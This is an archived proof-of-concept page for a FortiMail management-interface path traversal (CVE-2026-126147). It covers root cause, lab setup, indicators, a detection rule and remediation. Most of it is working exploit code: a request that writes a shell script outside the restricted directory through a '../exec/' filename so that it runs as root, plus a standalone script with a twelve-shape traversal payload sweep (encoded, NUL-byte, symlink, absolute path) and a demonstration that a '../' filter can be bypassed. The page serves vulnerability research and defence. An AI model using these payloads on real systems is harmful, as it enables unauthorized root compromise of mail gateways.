PoC Archive PoC Archive
CVE-2026-126147 category: network CVSS 9.8 (CRITICAL)
Unverified

FortiMail Management Interface Path Traversal to Root Command Execution (CVE-2026-126147 / FG-IR-26-199)

Published: 2026-11-25 • Researcher: Lê Hiếu (GitHub: googlesky) — PoC and laboratory; Fortinet PSIRT — FG-IR-26-199 advisory (no individual reporter named)

Target software Fortinet FortiMail — management interface API
Affected versions FortiMail 8.0.0 through 8.0.1; FortiMail 7.6.0 through 7.6.6; FortiMail 7.4.0 through 7.4.8; FortiMail 7.2 all versions (fixed in 8.0.2, 7.6.7 and 7.4.9; 7.2 is unfixed)
Status PoC
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-126147
Category
network
Affected product
Fortinet FortiMail — management interface API
Affected versions
FortiMail 8.0.0 through 8.0.1; FortiMail 7.6.0 through 7.6.6; FortiMail 7.4.0 through 7.4.8; FortiMail 7.2 all versions (fixed in 8.0.2, 7.6.7 and 7.4.9; 7.2 is unfixed)
Disclosed
2026-11-25
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-19
Author / ResearcherLê Hiếu (GitHub: googlesky) — PoC and laboratory; Fortinet PSIRT — FG-IR-26-199 advisory (no individual reporter named)
CVE / AdvisoryCVE-2026-126147
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSS v3.1 base score; the upstream README quotes AV:N/AC:L/PR:N/UI:N, the full vector is not given in the worklist or NVD extract)
StatusPoC
Tagspath-traversal, arbitrary-file-write, RCE, FortiMail, Fortinet, unauthenticated, CWE-22, management-interface, appliance, lab-model
RelatedN/A

Affected Target

FieldValue
Software / SystemFortinet FortiMail — management interface API
Versions AffectedFortiMail 8.0.0 through 8.0.1; FortiMail 7.6.0 through 7.6.6; FortiMail 7.4.0 through 7.4.8; FortiMail 7.2 all versions (fixed in 8.0.2, 7.6.7 and 7.4.9; 7.2 is unfixed)
Language / PlatformProprietary FortiMail appliance firmware (Linux-based); the lab model and PoC are Python 3, run in Podman containers
Authentication RequiredNo
Network Access RequiredYes — reachability to the FortiMail management interface (HTTPS/443 in the model)

Summary

CVE-2026-126147 is a path traversal (CWE-22) in the FortiMail management interface API: a caller-supplied path component is joined to a restricted data directory with no normalisation and no containment check, so an unauthenticated request can write a file outside that directory. Because the appliance executes scripts that land in its maintenance script directory, the arbitrary write becomes command execution as the appliance service account, which the laboratory models as root. Fortinet’s advisory FG-IR-26-199 rates the flaw 9.8 and lists FortiMail 8.0.0 through 8.0.1, 7.6.0 through 7.6.6, 7.4.0 through 7.4.8 and all of 7.2 as affected. The archived repository is a containerised reproduction: a Python model of the management interface with vulnerable, patched and partial-remediation modes, plus a PoC that proves both the write outside the root and the execution marker.

Vulnerability Details

Root Cause

The vulnerable model appends the caller-supplied name to the restricted data directory with os.path.join and hands the result to the file system. That is a string operation: it does not resolve dot-dot segments, it does not reject an absolute second component, and it does not check that the joined path still lies inside the directory it was supposed to stay in, so a name such as ../exec/pwn.sh escapes the root. The model reproduces three properties the repository attributes to the appliance: the path is percent-decoded a second time, the path handling truncates at a NUL byte the way a C implementation does, and the restricted directory contains a linked data directory (shared-link) that points at the appliance script directory, which yields an execution primitive without any dot-dot sequence. The patched model resolves the joined path with realpath and then requires containment, which collapses dot-dot segments and resolves symlinks before the comparison; a hurried fix that only compares the un-normalised joined string against the root with a prefix test still lets the traversal through. Everything here describes the model’s path handling; the vendor advisory states only the class of defect (improper limitation of a pathname to a restricted directory in the FortiMail API) and does not publish the affected endpoint.

Attack Vector

An unauthenticated attacker sends a management-interface request whose path or filename field carries a traversal sequence. The full chain uses a single JSON POST to the modelled attachment upload endpoint with a filename of ../exec/pwn_TOKEN.sh and a base64 content field holding a shell script; the appliance writes the script into its script directory and the maintenance task runner executes it. The sweep in the repository exercises four modelled endpoints (attachment upload, configuration import with a multipart filename part, IBE key store, and attachment download), twelve payload shapes (plain and encoded dot-dot, absolute paths, NUL truncation, prefix bypass, symlinked data directory, backslash separators, and others) and both the write and read directions. The advisory rates the vector AV:N/AC:L/PR:N/UI:N, so the request is processed before any authentication decision.

Impact

Arbitrary file write outside the restricted data directory, escalating to command execution as the appliance service account (uid 0 in the laboratory container, mirroring the privileged appliance daemon). The PoC proves execution by writing a per-run marker containing uid=0(root), a random token and the string PWNED to a shared volume, so the marker can be attributed to the request that produced it. On a real appliance this would mean control of the mail gateway: configuration, mail stores, and any credential or trust material readable by the service account. The read direction of the same flaw is an arbitrary file disclosure primitive on its own, which is why the fix has to cover reads as well as writes.

Environment / Lab Setup

Output
OS:          Linux x86_64 host with Podman (rootless or rootful); containers bounded at 2 CPUs / 4 GB
Target:      localhost/cve-2026-126147:vuln  (three models of the management interface:
             FML_MODE=vuln (8.0.1), fixed (8.0.2), fixed-partial (prefix-test remediation shape))
Attacker:    localhost/cve-2026-126147-poc:local  (python:3.12-alpine, standard library only)
Network:     Podman network cve126147lab; HTTPS listener fortimail-vuln:443 (self-signed certificate)
Tools:       podman, make, bash, python3 (no third-party packages)

Setup Steps

Shell script
1
2
3
4
5
6
7
8
make prepare          # build cve-2026-126147:vuln and cve-2026-126147-poc:local
make up               # create network cve126147lab and start the three models
make check-vuln       # classification against the vulnerable model (exit 1 = vulnerable)
make check-fixed      # classification against the patched model      (exit 0 = safe)
make exploit-vuln     # full chain: traversal write, execution, marker read-back
make exploit-fixed    # the same chain against the patched model
make differential     # three-way table: vuln / fixed / fixed-partial
make down             # tear down

The driver script run-lab.sh exposes the same targets: ./run-lab.sh up|check|exploit|probe|mitigation|0day|differential|evidence|down. The standalone exploit can also be run directly with python3 exploit/exploit.py, which forces the exploit mode.

Proof of Concept

Step-by-Step Reproduction

  1. Build and start the lab — make prepare && make up builds one appliance image and runs it three times with FML_MODE set to vuln, fixed and fixed-partial; all three share the same code path, configuration, entrypoint and TLS listener, and differ only in the path handling.
  2. Classify without side effects — make check-vuln performs one benign write inside the restricted directory and then a read traversal of a file that lives outside it, so the classification leaves no artefact behind. The vulnerable model returns the outside secret with HTTP 200; the patched model returns 403.
  3. Run the full chain — make exploit-vuln (or python3 exploit/exploit.py) generates a random token, POSTs a JSON body whose filename is ../exec/pwn_TOKEN.sh and whose content is a base64 shell script, and waits for the execution marker on the shared results volume.
  4. Verify root execution and attribution — the marker must contain uid=0(root), the per-run token and PWNED; the appliance execution log must show the task runner executing the resolved script path. The exploit exits 1 on success, 0 when the write is refused, and 3 when the file was stored but no marker appeared.
  5. Negative controls — make exploit-fixed runs the same chain against the 8.0.2 model and gets HTTP 403 path outside the restricted directory. make 0day sweeps twelve payload shapes against all four endpoints on the patched line and reports zero escapes; make differential shows that the fixed-partial prefix-test shape still escapes and executes.

Exploit Code

See exploit.py (standalone full-chain exploit) and poc.py (the same PoC with check/probe/mitigation/0day modes). The modelled management interface is in fortimail_web.py; resolve_write() starts at line 131 (the vulnerable join is at line 145, the resolved-path containment fix at line 158), and the execution sink run_if_executed() is at line 219.

The write primitive is one JSON request:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import base64, json, ssl, urllib.request

TARGET = "https://fortimail-vuln:443"
CTX    = ssl._create_unverified_context()
TOKEN  = "8f3c1d94"
SCRIPT = ("#!/bin/sh\n"
          "id > /results/marker/pwn_%s.txt 2>&1\n"
          "echo 'PWNED' >> /results/marker/pwn_%s.txt\n") % (TOKEN, TOKEN)

body = json.dumps({
    "filename": "../exec/pwn_%s.sh" % TOKEN,            # leaves the restricted root
    "content_b64": base64.b64encode(SCRIPT.encode()).decode(),  # script to be executed
}).encode()

req = urllib.request.Request(TARGET + "/api/v1/attachment/upload", data=body,
                             method="POST", headers={"Content-Type": "application/json"})
print(urllib.request.urlopen(req, context=CTX).read().decode())

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
{
  "http_status": 200,
  "path": "../exec/pwn_b9fe94a0e5f1c76f.sh",
  "response": {
    "bytes": 192,
    "stored": "../exec/pwn_b9fe94a0e5f1c76f.sh"
  },
  "step": "upload traversal payload"
}
{
  "marker": [
    "uid=0(root) gid=0(root) groups=0(root)",
    "TOKEN=b9fe94a0e5f1c76f",
    "PWNED"
  ],
  "root": true,
  "token": "b9fe94a0e5f1c76f",
  "verdict": "VULNERABLE"
}

The patched model answers the same request with HTTP 403 and the error path outside the restricted directory; those captures are in exploit-vulnerable-run.txt, exploit-fixed-run.txt, check-vulnerable-run.txt, check-fixed-run.txt and differential-table.txt.

Detection & Indicators of Compromise

  • Management-interface requests whose filename, name or path field contains dot-dot segments, percent-encoded or double-encoded dot-dot, a NUL byte, an absolute path, or the name of the linked data directory. In the model these arrive as POST to the attachment upload, configuration import or IBE key endpoints, or as GET on the attachment download endpoint; the real endpoint names are not published by the advisory, so treat this as a class-level signature rather than a product rule.
  • HTTP 200 responses to a write whose stored path is reported outside the restricted directory, or the appliance error string path outside the restricted directory on a patched build (a 403 for such a request is the expected, benign outcome).
  • Appliance task-runner or maintenance execution log entries for scripts in the script directory that were not deployed by an administrator, and shell child processes of the management daemon.
  • Unexpected files in the appliance script directory or the directory that links to it, especially short shell scripts writing output to shared or world-readable paths, and marker files containing a random token.
  • Access-log lines showing a traversal download of a file that lives next to, not inside, the data directory (the check mode reads such a file with HTTP 200 on the vulnerable model).

Example access-log pattern from the model:

Output
1
2
3
POST /api/v1/attachment/upload name='../exec/pwn_b9fe94a0e5f1c76f.sh' bytes=192 cve-2026-126147-poc/1.0
GET  /api/v1/attachment/download?path=..%2Foutside-secret.txt 200
executed /opt/lab/exec/pwn_b9fe94a0e5f1c76f.sh rc=0

SIEM / IDS rule (example):

Output
1
2
alert http any any -> any any (msg:"Possible FortiMail management path traversal in uploaded filename"; \
  content:"filename"; nocase; http_client_body; content:".."; within:64; sid:9001263;)

The rule is deliberately broad and matches the modelled request shape only; tune it to the endpoints and parameter names the deployed firmware actually exposes.

Remediation

ActionDetail
PatchUpgrade to FortiMail 8.0.2 (8.0 branch), 7.6.7 (7.6 branch) or 7.4.9 (7.4 branch). FortiMail 7.2 is unfixed, so migrate to a fixed branch. FortiMail Cloud was remediated by Fortinet on 2026-10-05 by moving the firmware to 7.6.7 GA / 8.0.2 GA.
WorkaroundFG-IR-26-199 publishes no workaround and no virtual patch. The mitigation that takes effect is reachability: keep the management interface off untrusted networks and allow it only from a management VLAN or VPN. The usual request filter that rejects a body containing dot-dot-slash is not a substitute; the upstream sweep shows it blocks 7 of 12 payload shapes and lets the encoded, absolute-path, symlink and backslash forms through.
Config HardeningRestrict management access with host firewalls and upstream ACLs, disable management features and endpoints that are not in use (attachment store, configuration import, IBE key store), avoid symlinked data directories inside the restricted root, and alert on writes that resolve outside it. Fixes must resolve the path (realpath) and compare resolved paths, not string prefixes, and must cover the read direction as well as the write direction.

References

Notes

Auto-ingested from https://github.com/googlesky/CVE-2026-126147 on 2026-11-25.

Review verdict: a real PoC with exploit code, ingested with limitations. The repository ships working exploit code (exploit.py, poc.py) that triggers a traversal write outside the restricted directory and confirms command execution from outside the container by reading the marker the executed script wrote, so it is not a detector, scanner or audit tool. However, FortiMail is proprietary: the lab is a Python model of the management interface (fortimail_web.py) built from the vendor’s advisory and the POSIX semantics of path resolution, and the endpoint list, path handling, script directory and task runner are explicitly modelled, not reverse-engineered from firmware. Nothing here will attack a real FortiMail appliance, and the upstream README says so in its scope section. Status is therefore PoC rather than Weaponized: the exploitation is real against the model, but it is not a weapon against the vendor product. The advisory does not name the affected endpoint, so the repository establishes that the class is exploitable as described and that a resolved-path containment check closes it, not which FortiMail URL carries the flaw.

License: MIT (Copyright (c) 2026 Lê Hiếu), archived as LICENSE alongside the upstream README. The archived files are attributed to the upstream author via the repository URL. The evidence files are the upstream captured runs from 2026-11-12, not executions performed during ingestion; no exploit code was run, no container was started and no script was executed while building this entry.

Limitations and caveats: the modelled endpoint names and payload handling are not the vendor’s wire format, so packet captures and log lines from this lab have detection value at the level of the vulnerability class only; the uid=0(root) proof reflects the container’s service user, not a claim about the appliance’s privilege model; the third arm (fixed-partial) is a hypothetical remediation shape and carries no assertion about what Fortinet shipped; the read-direction secret used by the check mode is a laboratory file. Not copied: the large 0day sweep logs (0day-sweep*.txt), the server access and write logs, and the fixed-partial and mitigation run captures. The files that support the entry’s central claims (exploit and check runs, the three-way differential, the execution log, the lab sources and build files) are included. Run only against systems you own or have written authorization to test.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/googlesky/CVE-2026-126147 (see README for attribution/license)
"""
CVE-2026-126147 -- FortiMail management-interface path traversal (CWE-22).

Proof of concept for Fortinet PSIRT FG-IR-26-199.

The appliance is modelled by lab/fortimail_web.py, which serves the management
interface over HTTPS.  The proof does not rely on the model cooperating: the traversal
payload is aimed at the shared results volume, so the PoC can read back the file it
wrote and prove that the write landed *outside* the restricted directory.

Modes:
    check       classify the target without leaving anything outside its own directory
    exploit     the full chain: traversal write -> file lands in the appliance script
                directory -> the appliance executes it as root -> proof marker
    probe       the sibling-path and sibling-payload matrix (the 0-day sweep)
    mitigation  the mitigation as published and the form that actually takes effect
    0day       the full sweep
"""

import argparse
import base64
import json
import os
import socket
import ssl
import sys
import time
import urllib.error
import urllib.parse
import urllib.request

RESULTS = os.environ.get("POC_RESULTS", "/results")
MARKER_DIR = os.path.join(RESULTS, "marker")
WRITE_LOG = os.path.join(RESULTS, "write-log.txt")
EXEC_LOG = os.path.join(RESULTS, "exec-log.txt")
OUTSIDE_SECRET = b"FORTIMAIL-OUTSIDE-SECRET"

EXIT_SAFE = 0
EXIT_VULN = 1
EXIT_UNREACHABLE = 2
EXIT_BLOCKED = 3
EXIT_NO_LISTENER = 4

CTX = ssl._create_unverified_context()

UPLOAD = "/api/v1/attachment/upload"
IMPORT = "/api/v1/config/import"
IBE = "/api/v1/ibe/key"
DOWNLOAD = "/api/v1/attachment/download"
VERSION = "/api/v1/version"


# ------------------------------------------------------------------ transport


class Unreachable(Exception):
    pass


class NoListener(Unreachable):
    pass


def http(method, base, path, body=None, headers=None, timeout=10):
    """Return (status, body_bytes).  Raises Unreachable / NoListener."""
    url = base.rstrip("/") + path
    req = urllib.request.Request(url, data=body, method=method)
    req.add_header("User-Agent", "cve-2026-126147-poc/1.0")
    for k, v in (headers or {}).items():
        req.add_header(k, v)
    try:
        with urllib.request.urlopen(req, context=CTX, timeout=timeout) as resp:
            return resp.status, resp.read()
    except urllib.error.HTTPError as exc:
        return exc.code, exc.read()
    except urllib.error.URLError as exc:
        reason = getattr(exc, "reason", exc)
        if isinstance(reason, ConnectionRefusedError):
            raise NoListener(str(reason))
        if isinstance(reason, socket.timeout):
            raise Unreachable("timeout")
        raise Unreachable(str(reason))
    except (ssl.SSLError, ConnectionResetError, OSError) as exc:
        raise Unreachable(str(exc))


def jhttp(method, base, path, obj=None, headers=None):
    body = None
    hdrs = {"Accept": "application/json"}
    if obj is not None:
        body = json.dumps(obj).encode()
        hdrs["Content-Type"] = "application/json"
    hdrs.update(headers or {})
    status, raw = http(method, base, path, body=body, headers=hdrs)
    try:
        doc = json.loads(raw.decode("utf-8", "replace"))
    except ValueError:
        doc = {"_raw": raw[:400].decode("utf-8", "replace")}
    return status, doc


def multipart(fields):
    """Build a multipart/form-data body: fields = [(name, filename|None, bytes)]."""
    boundary = "----cve2026126147boundary"
    out = b""
    for name, filename, data in fields:
        out += ("--%s\r\n" % boundary).encode()
        disp = 'Content-Disposition: form-data; name="%s"' % name
        if filename is not None:
            disp += '; filename="%s"' % filename
        out += (disp + "\r\n\r\n").encode()
        out += data
        out += b"\r\n"
    out += ("--%s--\r\n" % boundary).encode()
    return out, "multipart/form-data; boundary=%s" % boundary


# --------------------------------------------------------------------- helpers


def token(n=8):
    return os.urandom(n).hex()


def marker_path(tok):
    return os.path.join(MARKER_DIR, "pwn_%s.txt" % tok)


def read_marker(tok):
    path = marker_path(tok)
    try:
        with open(path, "rb") as fh:
            return fh.read().decode("utf-8", "replace")
    except OSError:
        return None


def escape_to_results(name, tok):
    """A payload that lands in the shared results volume once it escapes the root."""
    return "../../../results/escape_%s_%s" % (tok, name)


def upload(base, name, content=b"FORTIMAIL-TRAVERSAL-MARKER\n", path=UPLOAD, key="filename"):
    doc = {key: name, "content_b64": base64.b64encode(content).decode()}
    return jhttp("POST", base, path, doc)


def upload_multipart(base, name, content=b"FORTIMAIL-TRAVERSAL-MARKER\n"):
    body, ctype = multipart([
        ("filename", name, content),
        ("content", None, content),
    ])
    status, raw = http("POST", base, IMPORT, body=body,
                       headers={"Content-Type": ctype})
    try:
        return status, json.loads(raw.decode("utf-8", "replace"))
    except ValueError:
        return status, {"_raw": raw[:400].decode("utf-8", "replace")}


def download(base, name):
    status, doc = jhttp("GET", base, DOWNLOAD + "?path=" + urllib.parse.quote(name, safe=""))
    return status, doc


# ------------------------------------------------------------------ the checks


def target_info(base):
    status, doc = jhttp("GET", base, VERSION)
    if status != 200:
        raise Unreachable("version endpoint returned %s" % status)
    return doc


def classify(base, verbose=True):
    """Side-effect free classification: a read traversal plus one benign write
    inside the restricted directory."""
    tok = token()
    info = target_info(base)

    # the endpoint has to be alive and has to accept a legitimate write
    status, doc = upload(base, "check-probe-%s.txt" % tok)
    if status != 200:
        return {
            "verdict": "UNKNOWN",
            "reason": "the upload endpoint refused a benign write (HTTP %s)" % status,
            "target": info,
        }

    # the escape probe: read a file that lives outside the restricted directory
    status, doc = download(base, "../outside-secret.txt")
    escaped = False
    if status == 200:
        try:
            body = base64.b64decode(doc.get("content_b64", "") or "")
        except Exception:
            body = b""
        escaped = OUTSIDE_SECRET in body

    out = {
        "target": info,
        "read_probe_status": status,
        "read_probe_escaped": bool(escaped),
        "verdict": "VULNERABLE" if escaped else "SAFE",
    }
    if verbose:
        print(json.dumps(out, indent=2, sort_keys=True))
    return out


# ------------------------------------------------------------------- the chain


def build_payload(tok):
    return (
        "#!/bin/sh\n"
        "id > /results/marker/pwn_%s.txt 2>&1\n"
        "echo 'TOKEN=%s' >> /results/marker/pwn_%s.txt\n"
        "echo 'PWNED' >> /results/marker/pwn_%s.txt\n"
    ) % (tok, tok, tok, tok)


def exploit(base):
    tok = token()
    info = target_info(base)
    payload = build_payload(tok).encode()
    name = "../exec/pwn_%s.sh" % tok

    status, doc = upload(base, name, payload)
    print(json.dumps({
        "step": "upload traversal payload",
        "path": name,
        "http_status": status,
        "response": doc,
    }, indent=2, sort_keys=True))

    if status != 200:
        print(json.dumps({
            "verdict": "SAFE",
            "detail": "the appliance refused the traversal write (HTTP %s); "
                      "nothing was stored outside the restricted directory" % status,
            "token": tok,
        }, indent=2, sort_keys=True))
        return EXIT_SAFE

    marker = None
    for _ in range(40):
        marker = read_marker(tok)
        if marker:
            break
        time.sleep(0.25)

    if not marker:
        print(json.dumps({
            "verdict": "PRIMITIVE ONLY",
            "detail": "the payload was stored but no execution marker appeared",
            "token": tok,
        }, indent=2, sort_keys=True))
        return EXIT_BLOCKED

    root = "uid=0(root)" in marker
    print(json.dumps({
        "verdict": "VULNERABLE" if root else "PRIMITIVE ONLY",
        "token": tok,
        "marker": marker.strip().splitlines(),
        "root": root,
    }, indent=2, sort_keys=True))
    return EXIT_VULN if root else EXIT_BLOCKED


# ------------------------------------------------------------------ the sweep

PAYLOADS = [
    ("dotdot", "../../../results/%s"),
    ("dotdotdot", "../../../../results/%s"),
    ("encoded", "..%%2f..%%2f..%%2f..%%2fresults%%2f%s"),
    ("double-encoded", "..%%252f..%%252f%s"),
    ("quad-dot", "....//....//%s"),
    ("nul-byte", "../../../results/%s%%00.jpg"),
    ("absolute", "/tmp/%s"),
    ("prefix-bypass", "store/../../../../results/%s"),
    ("symlink", "shared-link/%s"),
    ("backslash", "..\\..\\%s"),
    ("dot-slash", "./../../../results/%s"),
    ("subdir", "subdir/../../../../results/%s"),
]

ENDPOINTS = [
    ("upload-json", "json"),
    ("import-multipart", "multipart"),
    ("ibe-json", "ibe"),
    ("download-read", "read"),
]


def write_log_offset():
    try:
        return os.path.getsize(WRITE_LOG)
    except OSError:
        return 0


def exec_log_offset():
    try:
        return os.path.getsize(EXEC_LOG)
    except OSError:
        return 0


def exec_log_since(offset):
    """The appliance's execution log: what the maintenance task runner ran."""
    try:
        with open(EXEC_LOG, "rb") as fh:
            fh.seek(offset)
            raw = fh.read()
    except OSError:
        return ""
    return raw.decode("utf-8", "replace")


def write_log_since(offset):
    """The appliance logs every write it performs, with the path the file really
    landed on and whether that path left the restricted directory."""
    try:
        with open(WRITE_LOG, "rb") as fh:
            fh.seek(offset)
            raw = fh.read()
    except OSError:
        return []
    out = []
    for line in raw.decode("utf-8", "replace").splitlines():
        line = line.strip()
        if not line.startswith("{"):
            continue
        try:
            out.append(json.loads(line))
        except ValueError:
            continue
    return out


def sweep(base, label, verbose=True):
    """Run the payload x endpoint matrix and report which ones escape."""
    tok = token()
    offset = write_log_offset()
    exec_offset = exec_log_offset()
    rows = []
    escaped_any = False
    for plabel, template in PAYLOADS:
        fname = template % ("probe_%s_%s.txt" % (tok, plabel))
        observed = os.path.join(RESULTS, fname)
        if os.path.exists(observed):
            os.unlink(observed)
        for elabel, kind in ENDPOINTS:
            status = None
            detail = ""
            try:
                if kind == "json":
                    status, doc = upload(base, fname)
                    detail = json.dumps(doc)[:160]
                elif kind == "multipart":
                    status, doc = upload_multipart(base, fname)
                    detail = json.dumps(doc)[:160]
                elif kind == "ibe":
                    status, doc = upload(base, fname, path=IBE, key="name")
                    detail = json.dumps(doc)[:160]
                else:
                    status, doc = download(base, fname)
                    detail = json.dumps(doc)[:160]
            except Unreachable as exc:
                status = -1
                detail = "unreachable: %s" % exc
            rows.append({
                "payload": plabel,
                "endpoint": elabel,
                "name": fname,
                "http_status": status,
                "escaped": False,
                "executed": False,
                "detail": detail,
            })
        # the artefact is checked once, after every endpoint has been tried, so
        # that the read-direction probe can still see what the write left behind
        landed = os.path.exists(observed)
        if landed:
            os.unlink(observed)
        for row in rows:
            if row["payload"] == plabel:
                row["escaped"] = landed
        if landed:
            escaped_any = True

    # second opinion: the appliance's own write log
    escaped_paths = set()
    for entry in write_log_since(offset):
        if entry.get("escaped"):
            escaped_paths.add(entry.get("path"))
    for row in rows:
        if row["name"] in escaped_paths:
            row["escaped"] = True
            escaped_any = True

    # third opinion: did the appliance execute anything that the sweep wrote?
    executed = exec_log_since(exec_offset)
    if executed:
        for row in rows:
            if row["name"].split("/")[-1] in executed:
                row["executed"] = True

    out = {
        "target": label,
        "base": base,
        "escaped_any": escaped_any,
        "results": rows,
        "verdict": "VULNERABLE" if escaped_any else "SAFE",
    }
    if verbose:
        print(json.dumps(out, indent=2, sort_keys=True))
    return out


def waf_filter(payload_name):
    """The operator-side mitigation people write for a traversal bug: reject any
    request whose body contains '../'.  This is the rule as it is normally
    published; the sweep shows whether it actually takes effect."""
    return "../" in payload_name


def mitigation(base, closed_target):
    """Two halves:
       (a) the vendor publishes no workaround for FG-IR-26-199 -- state it, and
           show that the operator-side filter that people write for this bug does
           not take effect on every payload shape;
       (b) the mitigation that does take effect: the management interface is not
           reachable from the untrusted network."""
    print(json.dumps({
        "vendor_workaround": "none published in FG-IR-26-199",
        "effective_mitigation": "do not expose the management interface to untrusted networks",
    }, indent=2))

    # (a) the filter as published
    filtered, slipped = [], []
    for plabel, template in PAYLOADS:
        sample = template % "payload.txt"
        if waf_filter(sample):
            filtered.append(plabel)
        else:
            slipped.append(plabel)
    print(json.dumps({
        "operator_filter": "reject any request body containing '../'",
        "blocked": filtered,
        "not_blocked": slipped,
        "note": "the filter only matches the literal two-dot slash sequence",
    }, indent=2, sort_keys=True))

    # the filter does not stop the payload set, so the request has to be stopped
    # before it reaches the appliance
    try:
        status, doc = jhttp("POST", closed_target, UPLOAD,
                            {"filename": "../exec/closed.sh",
                             "content_b64": base64.b64encode(b"x").decode()})
        print(json.dumps({
            "closed_target": closed_target,
            "http_status": status,
            "verdict": "MITIGATION FAILED -- the request was delivered",
        }, indent=2, sort_keys=True))
        return EXIT_VULN
    except NoListener as exc:
        print(json.dumps({
            "closed_target": closed_target,
            "verdict": "MITIGATION HOLDS -- the management interface is not reachable",
            "detail": str(exc),
        }, indent=2, sort_keys=True))
        return EXIT_SAFE
    except Unreachable as exc:
        print(json.dumps({
            "closed_target": closed_target,
            "verdict": "MITIGATION HOLDS -- the management interface is not reachable",
            "detail": str(exc),
        }, indent=2, sort_keys=True))
        return EXIT_SAFE


# ------------------------------------------------------------------- the main


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-126147 FortiMail path traversal PoC")
    ap.add_argument("mode_arg", nargs="?", default=None,
                    choices=["check", "exploit", "probe", "mitigation", "0day"],
                    help="the mode to run")
    ap.add_argument("--mode", default=None,
                    choices=["check", "exploit", "probe", "mitigation", "0day"])
    ap.add_argument("--target", action="append", default=None,
                    help="base URL of the management interface (repeatable)")
    ap.add_argument("--secondary", action="append", default=None,
Showing 500 of 568 lines View full file on GitHub →